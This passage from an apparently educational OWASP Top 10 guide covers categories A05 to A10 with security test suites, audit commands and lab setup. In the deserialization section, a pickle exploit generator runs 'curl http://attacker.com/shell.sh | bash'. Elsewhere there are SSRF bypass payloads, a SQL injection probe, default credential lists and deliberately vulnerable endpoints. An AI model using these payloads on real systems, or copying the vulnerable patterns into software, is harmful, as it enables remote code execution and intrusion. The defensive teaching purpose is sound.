Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# 2. Content-Security-Policy (CSP)
# Controls resource loading
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'

# 3. X-Content-Type-Options
# Prevents MIME sniffing
X-Content-Type-Options: nosniff

# 4. X-Frame-Options
# Prevents clickjacking
X-Frame-Options: DENY

# 5. X-XSS-Protection
# Legacy XSS filter (for older browsers)
X-XSS-Protection: 1; mode=block

# 6. Referrer-Policy
# Controls referrer information
Referrer-Policy: strict-origin-when-cross-origin

# 7. Permissions-Policy (formerly Feature-Policy)
# Controls browser features
Permissions-Policy: geolocation=(), microphone=(), camera=()

# 8. Cross-Origin Policies
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

Security Misconfiguration Test Suite

class TestSecurityMisconfiguration:
    """Test for security misconfigurations"""
    
    # ========== Security Headers ==========
    
    def test_security_headers(self, client):
        """All required security headers should be present"""
        response = client.get('/')
        headers = response.headers
        
        required_headers = {
            'Strict-Transport-Security': lambda v: 'max-age=' in v,
            'X-Content-Type-Options': lambda v: v == 'nosniff',
            'X-Frame-Options': lambda v: v in ['DENY', 'SAMEORIGIN'],
            'Content-Security-Policy': lambda v: "default-src" in v,
            'Referrer-Policy': lambda v: v != '',
        }
        
        for header, validator in required_headers.items():
            assert header in headers, f"Missing header: {header}"
            assert validator(headers[header]), f"Invalid {header} value"
    
    def test_no_server_version_disclosure(self, client):
        """Server version should not be disclosed"""
        response = client.get('/')
        
        # Check Server header
        server = response.headers.get('Server', '')
        assert not re.search(r'\d+\.\d+', server), \
            "Server version disclosed"
        
        # Check X-Powered-By
        assert 'X-Powered-By' not in response.headers
        
        # Check body for version info
        assert 'PHP/' not in response.text
        assert 'ASP.NET' not in response.text
    
    # ========== Error Handling ==========
    
    def test_error_pages_no_info_leak(self, client):
        """Error pages should not leak sensitive information"""
        error_triggers = [
            '/nonexistent-page',
            '/api/users/99999999',
            "/api/search?q=' OR 1=1--",
            '/api/items/-1',
        ]
        
        sensitive_patterns = [
            r'stack trace',
            r'exception',
            r'error in',
            r'line \d+',
            r'/var/www/',
            r'c:\\',
            r'mysql',
            r'postgresql',
            r'sqlstate',
        ]
        
        for url in error_triggers:
            response = client.get(url)
            for pattern in sensitive_patterns:
                assert not re.search(pattern, response.text, re.IGNORECASE), \
                    f"Sensitive info leaked at {url}: {pattern}"
    
    # ========== Default/Debug Settings ==========
    
    def test_debug_mode_disabled(self, client):
        """Debug mode should be disabled in production"""
        # Try to access debug endpoints
        debug_endpoints = [
            '/__debug__/',
            '/debug/',
            '/_profiler/',
            '/elmah.axd',
            '/trace.axd',
            '/phpinfo.php',
        ]
        
        for endpoint in debug_endpoints:
            response = client.get(endpoint)
            assert response.status_code in [404, 403]
    
    def test_default_credentials(self, client):
        """Default credentials should not work"""
        default_creds = [
            ('admin', 'admin'),
            ('admin', 'password'),
            ('admin', '123456'),
            ('root', 'root'),
            ('test', 'test'),
            ('user', 'user'),
        ]
        
        for username, password in default_creds:
            response = client.post('/login', data={
                'username': username,
                'password': password
            })
            assert 'Dashboard' not in response.text, \
                f"Default credentials work: {username}:{password}"
    
    # ========== Directory/File Exposure ==========
    
    def test_directory_listing_disabled(self, client):
        """Directory listing should be disabled"""
        directories = [
            '/uploads/',
            '/images/',
            '/static/',
            '/assets/',
            '/files/',
        ]
        
        for directory in directories:
            response = client.get(directory)
            assert 'Index of' not in response.text
            assert 'Directory listing' not in response.text
    
    def test_sensitive_files_not_accessible(self, client):
        """Sensitive files should not be accessible"""
        sensitive_files = [
            '/.git/config',
            '/.env',
            '/config.php',
            '/wp-config.php',
            '/.htaccess',
            '/web.config',
            '/package.json',
            '/composer.json',
            '/.svn/entries',
            '/backup.sql',
            '/database.sql',
        ]
        
        for file in sensitive_files:
            response = client.get(file)
            assert response.status_code in [404, 403], \
                f"Sensitive file accessible: {file}"
    
    # ========== HTTP Methods ==========
    
    def test_unnecessary_http_methods_disabled(self, client):
        """Unnecessary HTTP methods should be disabled"""
        dangerous_methods = ['TRACE', 'TRACK', 'DEBUG']
        
        for method in dangerous_methods:
            response = client.open('/', method=method)
            assert response.status_code in [405, 501], \
                f"Dangerous method enabled: {method}"
    
    # ========== Cloud Misconfiguration ==========
    
    def test_s3_bucket_not_public(self):
        """S3 buckets should not be publicly accessible"""
        import boto3
        
        s3 = boto3.client('s3')
        buckets = s3.list_buckets()['Buckets']
        
        for bucket in buckets:
            acl = s3.get_bucket_acl(Bucket=bucket['Name'])
            for grant in acl['Grants']:
                grantee = grant['Grantee']
                # Check for public access
                if grantee.get('URI') == 'http://acs.amazonaws.com/groups/global/AllUsers':
                    pytest.fail(f"Bucket {bucket['Name']} is publicly accessible")

A06:2021 - Vulnerable and Outdated Components

🎯 Overview

Using components with known vulnerabilities can undermine application defenses.

Impact: Exploitation of known CVEs, data breaches, system compromise.

Real-World Examples

🔴 2017: Equifax - Unpatched Apache Struts (CVE-2017-5638) → 147M records
🔴 2021: Log4Shell (CVE-2021-44228) - Most critical vulnerability in decade
🔴 2022: Spring4Shell (CVE-2022-22965) - Spring Framework RCE

Component Vulnerability Testing

# JavaScript/Node.js
npm audit
npm audit --json > audit-results.json
npm audit fix

# Python
pip-audit
safety check
pip-audit -f json -o audit-results.json

# Ruby
bundle audit
bundle audit check --update

# Java
mvn dependency-check:check
gradle dependencyCheckAnalyze

# .NET
dotnet list package --vulnerable

# Docker images
docker scan myimage:latest
trivy image myimage:latest

# General - Snyk
snyk test
snyk container test myimage:latest

Automated Component Testing

import subprocess
import json

class TestVulnerableComponents:
    """Test for vulnerable dependencies"""
    
    def test_npm_audit(self):
        """No high/critical vulnerabilities in npm packages"""
        result = subprocess.run(
            ['npm', 'audit', '--json'],
            capture_output=True, text=True
        )
        
        audit = json.loads(result.stdout)
        
        high_vulns = audit.get('metadata', {}).get('vulnerabilities', {}).get('high', 0)
        critical_vulns = audit.get('metadata', {}).get('vulnerabilities', {}).get('critical', 0)
        
        assert high_vulns == 0, f"Found {high_vulns} high severity vulnerabilities"
        assert critical_vulns == 0, f"Found {critical_vulns} critical vulnerabilities"
    
    def test_python_safety(self):
        """No known vulnerabilities in Python packages"""
        result = subprocess.run(
            ['safety', 'check', '--json'],
            capture_output=True, text=True
        )
        
        if result.returncode != 0:
            vulns = json.loads(result.stdout)
            critical = [v for v in vulns if v.get('severity') == 'critical']
            assert len(critical) == 0, f"Critical vulnerabilities found: {critical}"
    
    def test_outdated_packages(self):
        """Packages should not be severely outdated"""
        result = subprocess.run(
            ['npm', 'outdated', '--json'],
            capture_output=True, text=True
        )
        
        if result.stdout:
            outdated = json.loads(result.stdout)
            major_outdated = []
            
            for pkg, info in outdated.items():
                current = info['current'].split('.')[0]
                latest = info['latest'].split('.')[0]
                if int(latest) - int(current) >= 2:
                    major_outdated.append(f"{pkg}: {info['current']}{info['latest']}")
            
            assert len(major_outdated) == 0, \
                f"Severely outdated packages: {major_outdated}"

A07:2021 - Identification and Authentication Failures

🎯 Overview

Previously “Broken Authentication”. Confirmation of user identity and session management weaknesses.

Impact: Account takeover, identity theft, unauthorized access.

Authentication Vulnerabilities

┌────────────────────────────────────────────────────────┐
│           AUTHENTICATION VULNERABILITIES               │
├────────────────────────────────────────────────────────┤
│  Weak passwords       │ No complexity requirements    │
│  Credential stuffing  │ No rate limiting              │
│  Session fixation     │ Session ID not rotated        │
│  Session hijacking    │ Insecure session tokens       │
│  Broken "remember me" │ Persistent token issues       │
│  Password reset flaws │ Predictable tokens            │
│  MFA bypass          │ Weak MFA implementation        │
└────────────────────────────────────────────────────────┘

Complete Authentication Test Suite

class TestAuthentication:
    """Comprehensive authentication security tests"""
    
    # ========== Password Policy ==========
    
    def test_password_complexity_required(self, client):
        """Password should meet complexity requirements"""
        weak_passwords = [
            ('short', 'Too short'),
            ('alllowercase', 'Needs uppercase'),
            ('ALLUPPERCASE', 'Needs lowercase'),
            ('NoNumbers!!', 'Needs digit'),
            ('NoSpecial123', 'Needs special character'),
            ('Password123!', 'Too common'),
            ('qwerty123!A', 'Keyboard pattern'),
        ]
        
        for password, reason in weak_passwords:
            response = client.post('/register', data={
                'username': 'testuser',
                'email': 'test@test.com',
                'password': password,
                'password_confirm': password
            })
            assert 'Password' in response.text or response.status_code == 400, \
                f"Weak password accepted: {password} ({reason})"
    
    def test_password_breach_check(self, client):
        """Password should be checked against known breaches"""
        # Common breached passwords
        breached = ['password123', '123456789', 'qwerty123', 'letmein123']
        
        for password in breached:
            response = client.post('/register', data={
                'username': 'testuser',
                'email': 'test@test.com',
                'password': password + '!A',  # Add complexity
                'password_confirm': password + '!A'
            })
            # Should warn about breached password
            assert 'breach' in response.text.lower() or \
                   'compromised' in response.text.lower() or \
                   response.status_code == 400
    
    # ========== Brute Force Protection ==========
    
    def test_account_lockout(self, client):
        """Account should lock after failed attempts"""
        # Create user
        client.post('/register', data={
            'username': 'locktest',
            'email': 'lock@test.com',
            'password': 'ValidPass123!',
            'password_confirm': 'ValidPass123!'
        })
        
        # Try wrong password multiple times
        for i in range(10):
            response = client.post('/login', data={
                'username': 'locktest',
                'password': 'WrongPassword123!'
            })
        
        # Account should be locked
        response = client.post('/login', data={
            'username': 'locktest',
            'password': 'ValidPass123!'  # Correct password
        })
        
        assert 'locked' in response.text.lower() or \
               response.status_code == 429
    
    def test_ip_rate_limiting(self, client):
        """IP should be rate limited after many requests"""
        for i in range(100):
            client.post('/login', data={
                'username': f'user{i}',
                'password': 'wrong'
            })
        
        response = client.post('/login', data={
            'username': 'legitimate',
            'password': 'password'
        })
        
        assert response.status_code == 429
    
    # ========== Session Management ==========
    
    def test_session_rotation_on_login(self, client):
        """Session ID should change after login"""
        # Get initial session
        response = client.get('/')
        session_before = client.cookies.get('session')
        
        # Login
        client.post('/login', data={
            'username': 'testuser',
            'password': 'ValidPass123!'
        })
        
        session_after = client.cookies.get('session')
        
        assert session_before != session_after, \
            "Session ID not rotated after login (session fixation risk)"
    
    def test_session_invalidation_on_logout(self, client):
        """Session should be invalidated on logout"""
        # Login
        client.post('/login', data={
            'username': 'testuser',
            'password': 'ValidPass123!'
        })
        
        session_id = client.cookies.get('session')
        
        # Logout
        client.post('/logout')
        
        # Try to use old session
        client.cookies.set('session', session_id)
        response = client.get('/dashboard')
        
        assert response.status_code in [401, 302]  # Unauthorized or redirect
    
    def test_session_timeout(self, client):
        """Session should timeout after inactivity"""
        # Login
        client.post('/login', data={
            'username': 'testuser',
            'password': 'ValidPass123!'
        })
        
        # Simulate time passing (adjust based on timeout setting)
        import time
        time.sleep(31 * 60)  # 31 minutes
        
        response = client.get('/dashboard')
        assert response.status_code in [401, 302]
    
    def test_concurrent_session_handling(self, client):
        """Multiple sessions should be handled properly"""
        # Login from "device 1"
        client.post('/login', data={
            'username': 'testuser',
            'password': 'ValidPass123!'
        })
        session1 = client.cookies.get('session')
        
        # Login from "device 2"
        client2 = app.test_client()
        client2.post('/login', data={
            'username': 'testuser',
            'password': 'ValidPass123!'
        })
        session2 = client2.cookies.get('session')
        
        # Depending on policy:
        # Option A: First session invalidated
        # Option B: Both sessions valid (but limited count)
        # Option C: User notified of new login
    
    # ========== Password Reset ==========
    
    def test_password_reset_token_strength(self, client):
        """Password reset tokens should be unpredictable"""
        tokens = []
        
        for i in range(10):
            response = client.post('/reset-password', data={
                'email': f'user{i}@test.com'
            })
            # Extract token from email (in test, might be in response)
            token = extract_reset_token(response)
            tokens.append(token)
        
        # Tokens should be:
        # - Long enough (>= 32 chars)
        # - Random (high entropy)
        # - Not sequential
        
        for token in tokens:
            assert len(token) >= 32, "Reset token too short"
        
        # Check tokens are not sequential
        assert len(set(tokens)) == len(tokens), "Tokens are predictable"
    
    def test_password_reset_token_expiry(self, client):
        """Password reset tokens should expire"""
        # Request reset
        client.post('/reset-password', data={'email': 'test@test.com'})
        token = get_reset_token_from_email()
        
        # Wait for expiry (e.g., 1 hour)
        time.sleep(3601)
        
        # Try to use expired token
        response = client.post('/reset-password/confirm', data={
            'token': token,
            'password': 'NewValidPass123!',
            'password_confirm': 'NewValidPass123!'
        })
        
        assert 'expired' in response.text.lower() or \
               response.status_code == 400
    
    def test_password_reset_token_single_use(self, client):
        """Password reset tokens should be single-use"""
        # Request and use reset token
        client.post('/reset-password', data={'email': 'test@test.com'})
        token = get_reset_token_from_email()
        
        # Use token
        client.post('/reset-password/confirm', data={
            'token': token,
            'password': 'NewValidPass123!',
            'password_confirm': 'NewValidPass123!'
        })
        
        # Try to use same token again
        response = client.post('/reset-password/confirm', data={
            'token': token,
            'password': 'AnotherPass123!',
            'password_confirm': 'AnotherPass123!'
        })
        
        assert response.status_code == 400
    
    # ========== MFA Testing ==========
    
    def test_mfa_cannot_be_bypassed(self, client):
        """MFA should not be bypassable"""
        # Login with valid credentials
        client.post('/login', data={
            'username': 'mfa_user',
            'password': 'ValidPass123!'
        })
        
        # Should be at MFA prompt, not dashboard
        response = client.get('/dashboard')
        assert response.status_code == 302  # Redirect to MFA
        assert '/mfa' in response.headers.get('Location', '')
        
        # Try to access API directly
        response = client.get('/api/user/profile')
        assert response.status_code == 401
    
    def test_mfa_rate_limiting(self, client):
        """MFA codes should have rate limiting"""
        # Login
        client.post('/login', data={
            'username': 'mfa_user',
            'password': 'ValidPass123!'
        })
        
        # Try wrong MFA codes
        for i in range(10):
            response = client.post('/mfa/verify', data={
                'code': f'{i:06d}'
            })
        
        # Should be rate limited
        response = client.post('/mfa/verify', data={'code': '123456'})
        assert response.status_code == 429

A08:2021 - Software and Data Integrity Failures

🎯 Overview

NEW category combining A08:2017-Insecure Deserialization with new risks related to CI/CD and software supply chain.

Impact: Remote code execution, supply chain attacks, malicious updates.

Vulnerability Types

┌────────────────────────────────────────────────────────┐
│         SOFTWARE & DATA INTEGRITY FAILURES             │
├────────────────────────────────────────────────────────┤
│  Insecure deserialization │ RCE via object injection  │
│  CI/CD attacks           │ Compromised pipelines       │
│  Unsigned updates        │ Malicious software updates │
│  Dependency confusion    │ Malicious package names    │
│  Code injection         │ Compromised dependencies    │
└────────────────────────────────────────────────────────┘

Insecure Deserialization

# VULNERABLE: Pickle deserialization
import pickle

@app.route('/load-session')
def load_session():
    session_data = request.cookies.get('session')
    return pickle.loads(base64.b64decode(session_data))  # RCE!

# Attack payload generator
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Send as cookie value

# SECURE: Use JSON or signed serialization
import json
from itsdangerous import URLSafeSerializer

serializer = URLSafeSerializer(app.secret_key)

@app.route('/load-session')
def load_session():
    session_data = request.cookies.get('session')
    return serializer.loads(session_data)  # Safe!

CI/CD Security Testing

# GitHub Actions security checks
name: CI Security

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      # Verify commit signatures
      - name: Verify GPG signatures
        run: |
          git verify-commit HEAD || echo "Warning: Unsigned commit"
      
      # Check for secrets in code
      - name: Run Gitleaks
        uses: gitleaks/gitleaks-action@v2
      
      # Dependency scanning
      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
      
      # SAST scanning
      - name: Run Semgrep
        uses: returntocorp/semgrep-action@v1
      
      # Check for vulnerable dependencies
      - name: Audit dependencies
        run: npm audit --audit-level=high

A09:2021 - Security Logging and Monitoring Failures

🎯 Overview

Insufficient logging, detection, monitoring, and active response allows attackers to further attack systems.

Impact: Undetected breaches, delayed incident response, compliance failures.

What Should Be Logged

┌────────────────────────────────────────────────────────┐
│              SECURITY EVENTS TO LOG                    │
├────────────────────────────────────────────────────────┤
│  Authentication       │ Logins, failures, lockouts    │
│  Authorization        │ Access denied events          │
│  Input validation     │ Rejected malicious input      │
│  Session management   │ Creation, destruction         │
│  Sensitive operations │ Password changes, payments    │
│  Admin actions        │ User creation, role changes   │
│  System events        │ Startup, shutdown, errors     │
│  Security events      │ WAF blocks, rate limiting     │
└────────────────────────────────────────────────────────┘

Secure Logging Implementation

import logging
import json
from datetime import datetime

class SecurityLogger:
    """Secure logging with proper formatting and protection"""
    
    def __init__(self):
        self.logger = logging.getLogger('security')
        handler = logging.FileHandler('/var/log/app/security.log')
        handler.setFormatter(logging.Formatter(
            '%(asctime)s - %(levelname)s - %(message)s'
        ))
        self.logger.addHandler(handler)
        self.logger.setLevel(logging.INFO)
    
    def log_event(self, event_type, user_id, details, ip_address):
        """Log security event with structured data"""
        
        # Sanitize to prevent log injection
        sanitized_details = self._sanitize(details)
        
        event = {
            'timestamp': datetime.utcnow().isoformat(),
            'event_type': event_type,
            'user_id': user_id,
            'ip_address': ip_address,
            'details': sanitized_details,
        }
        
        self.logger.info(json.dumps(event))
    
    def _sanitize(self, data):
        """Remove newlines and sensitive data from log entries"""
        if isinstance(data, str):
            # Prevent log injection
            data = data.replace('\n', '\\n').replace('\r', '\\r')
            
            # Mask sensitive data
            data = self._mask_sensitive(data)
        
        return data
    
    def _mask_sensitive(self, text):
        """Mask credit cards, SSN, etc."""
        import re
        
        # Credit card
        text = re.sub(r'\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b', 
                     '****-****-****-****', text)
        
        # SSN
        text = re.sub(r'\b\d{3}-\d{2}-\d{4}\b', '***-**-****', text)
        
        # Password fields
        text = re.sub(r'password["\']?\s*[:=]\s*["\']?[^"\'&\s]+', 
                     'password=***', text, flags=re.IGNORECASE)
        
        return text

# Usage
security_logger = SecurityLogger()

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    
    if authenticate(username, request.form['password']):
        security_logger.log_event(
            'LOGIN_SUCCESS',
            user_id=get_user_id(username),
            details=f'User {username} logged in',
            ip_address=request.remote_addr
        )
        return redirect('/dashboard')
    else:
        security_logger.log_event(
            'LOGIN_FAILURE',
            user_id=None,
            details=f'Failed login attempt for {username}',
            ip_address=request.remote_addr
        )
        return 'Invalid credentials', 401

Logging Test Suite

class TestSecurityLogging:
    """Test security logging implementation"""
    
    def test_login_failures_logged(self, client, log_file):
        """Failed logins should be logged"""
        client.post('/login', data={
            'username': 'admin',
            'password': 'wrong'
        })
        
        logs = read_log_file(log_file)
        assert any('LOGIN_FAILURE' in log for log in logs)
        assert any('admin' in log for log in logs)
    
    def test_sensitive_data_masked(self, client, log_file):
        """Sensitive data should be masked in logs"""
        # Trigger an error with credit card
        client.post('/payment', data={
            'card': '4111-1111-1111-1111',
            'amount': '100'
        })
        
        logs = read_log_file(log_file)
        log_content = '\n'.join(logs)
        
        assert '4111-1111-1111-1111' not in log_content
        assert '****-****-****-****' in log_content or \
               '4111' not in log_content
    
    def test_log_injection_prevented(self, client, log_file):
        """Log injection should be prevented"""
        # Try to inject fake log entry
        malicious_username = "admin\n2024-01-01 - INFO - Fake log entry"
        
        client.post('/login', data={
            'username': malicious_username,
            'password': 'wrong'
        })
        
        logs = read_log_file(log_file)
        
        # Should not have unescaped newlines
        for log in logs:
            # Each log should be single line
            assert '\n' not in log.strip()

A10:2021 - Server-Side Request Forgery (SSRF)

🎯 Overview

NEW in 2021. SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL.

Impact: Internal network scanning, cloud metadata access, data exfiltration.

SSRF Attack Scenarios

┌────────────────────────────────────────────────────────┐
│                  SSRF ATTACK TARGETS                   │
├────────────────────────────────────────────────────────┤
│  Cloud metadata      │ 169.254.169.254 (AWS/GCP/Azure)│
│  Internal services   │ localhost, 127.0.0.1, 10.x.x.x│
│  Internal APIs       │ Internal microservices         │
│  Database            │ Redis, MongoDB on localhost    │
│  Admin panels        │ Internal admin interfaces      │
│  File system        │ file:// protocol                │
└────────────────────────────────────────────────────────┘

SSRF Prevention

import ipaddress
import socket
from urllib.parse import urlparse

# VULNERABLE
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    return requests.get(url).text  # No validation!

# SECURE: Comprehensive URL validation
BLOCKED_HOSTS = {'localhost', '127.0.0.1', '0.0.0.0'}
ALLOWED_SCHEMES = {'http', 'https'}

def is_safe_url(url):
    """Validate URL is safe to fetch"""
    try:
        parsed = urlparse(url)
        
        # Check scheme
        if parsed.scheme not in ALLOWED_SCHEMES:
            return False
        
        # Check for blocked hosts
        hostname = parsed.hostname.lower()
        if hostname in BLOCKED_HOSTS:
            return False
        
        # Resolve IP and check if private
        try:
            ip = socket.gethostbyname(hostname)
            ip_obj = ipaddress.ip_address(ip)
            
            if ip_obj.is_private or ip_obj.is_loopback or \
               ip_obj.is_link_local or ip_obj.is_reserved:
                return False
            
            # Block cloud metadata IPs
            if ip.startswith('169.254.'):
                return False
                
        except socket.gaierror:
            return False
        
        # Block specific ports
        if parsed.port and parsed.port not in [80, 443]:
            return False
        
        return True
        
    except Exception:
        return False

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    
    if not is_safe_url(url):
        return 'Invalid URL', 400
    
    # Additional: Use allowlist of domains
    allowed_domains = ['api.example.com', 'cdn.example.com']
    if urlparse(url).hostname not in allowed_domains:
        return 'Domain not allowed', 400
    
    return requests.get(url, timeout=5).text

SSRF Test Suite

class TestSSRF:
    """Test for SSRF vulnerabilities"""
    
    SSRF_PAYLOADS = [
        # Localhost variations
        'http://localhost/admin',
        'http://127.0.0.1/admin',
        'http://127.1/admin',
        'http://0.0.0.0/admin',
        'http://0/admin',
        'http://[::1]/admin',
        'http://127.0.0.1:22',
        'http://127.0.0.1:3306',
        
        # Cloud metadata
        'http://169.254.169.254/latest/meta-data/',
        'http://169.254.169.254/latest/user-data/',
        'http://metadata.google.internal/computeMetadata/v1/',
        'http://169.254.169.254/metadata/instance',
        
        # Internal networks
        'http://10.0.0.1/',
        'http://172.16.0.1/',
        'http://192.168.1.1/',
        
        # Protocol handlers
        'file:///etc/passwd',
        'dict://localhost:11211/stats',
        'gopher://localhost:6379/_INFO',
        
        # Bypass attempts
        'http://localhost.localtest.me/',
        'http://127.0.0.1.nip.io/',
        'http://2130706433/',  # Decimal IP for 127.0.0.1
        'http://0x7f.0x00.0x00.0x01/',  # Hex IP
        'http://127.0.0.1%00.attacker.com/',
    ]
    
    def test_ssrf_prevention(self, client):
        """Application should block SSRF attempts"""
        for payload in self.SSRF_PAYLOADS:
            response = client.get(f'/fetch?url={payload}')
            
            assert response.status_code in [400, 403, 404], \
                f"SSRF possible with payload: {payload}"
            
            # Check response doesn't contain internal data
            assert 'root:' not in response.text  # /etc/passwd
            assert 'ami-id' not in response.text  # AWS metadata
            assert 'private_key' not in response.text
    
    def test_dns_rebinding(self, client):
        """Application should be protected against DNS rebinding"""
        # This test requires a DNS rebinding server
        # The server alternates between public and private IPs
        rebinding_url = 'http://rebind.attacker.com/test'
        
        response = client.get(f'/fetch?url={rebinding_url}')
        # Should validate IP after DNS resolution, not just hostname

Practical Labs & Practice

Set Up Your Lab Environment

# 1. OWASP WebGoat
docker run -p 8080:8080 webgoat/webgoat

# 2. DVWA (Damn Vulnerable Web App)
docker run -d -p 80:80 vulnerables/web-dvwa

# 3. Juice Shop
docker run -p 3000:3000 bkimminich/juice-shop

# 4. HackTheBox
# Sign up at hackthebox.com

# 5. PortSwigger Labs
# https://portswigger.net/web-security

OWASP Top 10 Practice Checklist

## Learning Progress Tracker

### A01: Broken Access Control
- [ ] Complete DVWA Access Control labs
- [ ] Find IDOR in Juice Shop
- [ ] Practice path traversal
- [ ] Test JWT vulnerabilities

### A02: Cryptographic Failures
- [ ] Analyze weak encryption
- [ ] Test for sensitive data exposure
- [ ] Check security headers
- [ ] Test SSL/TLS configuration

### A03: Injection
- [ ] Complete all SQLi labs in WebGoat
- [ ] Practice XSS in Juice Shop
- [ ] Test command injection
- [ ] Try NoSQL injection

### A04: Insecure Design
- [ ] Find business logic flaws
- [ ] Test race conditions
- [ ] Check for missing rate limiting
- [ ] Test multi-step processes

### A05: Security Misconfiguration
- [ ] Find exposed admin panels
- [ ] Check default credentials
- [ ] Test for verbose errors
- [ ] Enumerate directories

### A06: Vulnerable Components
- [ ] Run npm audit on projects
- [ ] Use Snyk to find vulnerabilities
- [ ] Practice exploiting Log4Shell
- [ ] Check for outdated libraries

### A07: Authentication Failures
- [ ] Test password policies
- [ ] Check session management
- [ ] Test MFA implementation
- [ ] Find password reset flaws

### A08: Integrity Failures
- [ ] Test for insecure deserialization
- [ ] Check for unsigned updates
- [ ] Review CI/CD security
- [ ] Test data integrity

### A09: Logging Failures
- [ ] Check what's being logged
- [ ] Test for log injection
- [ ] Verify PII masking
- [ ] Check monitoring alerts

### A10: SSRF
- [ ] Test URL fetch features
- [ ] Try cloud metadata access
- [ ] Practice bypass techniques
- [ ] Test webhook endpoints

Summary: OWASP Top 10 Quick Reference

#VulnerabilityTest FocusKey Tools
A01Broken Access ControlIDOR, privilege escalationBurp, manual testing
A02Cryptographic FailuresHTTPS, password storageSSLyze, testssl.sh
A03InjectionSQLi, XSS, command injectionSQLMap, Burp
A04Insecure DesignBusiness logic, rate limitingManual testing
A05Security MisconfigurationHeaders, defaults, errorsNikto, curl
A06Vulnerable ComponentsDependenciesnpm audit, Snyk
A07Authentication FailuresSessions, passwords, MFABurp, manual
A08Integrity FailuresDeserialization, CI/CDysoserial
A09Logging FailuresLog coverage, maskingLog review
A10SSRFURL validation, metadataBurp, curl

What’s Next?

  1. Practice daily - Use WebGoat, DVWA, Juice Shop
  2. Get certified - CompTIA Security+, CEH, OSCP
  3. Join bug bounties - HackerOne, Bugcrowd
  4. Read more - OWASP Testing Guide, Web Hacker’s Handbook
  5. Stay updated - Follow OWASP, security researchers on Twitter

Master the OWASP Top 10 and become a security-focused QA engineer! 🔐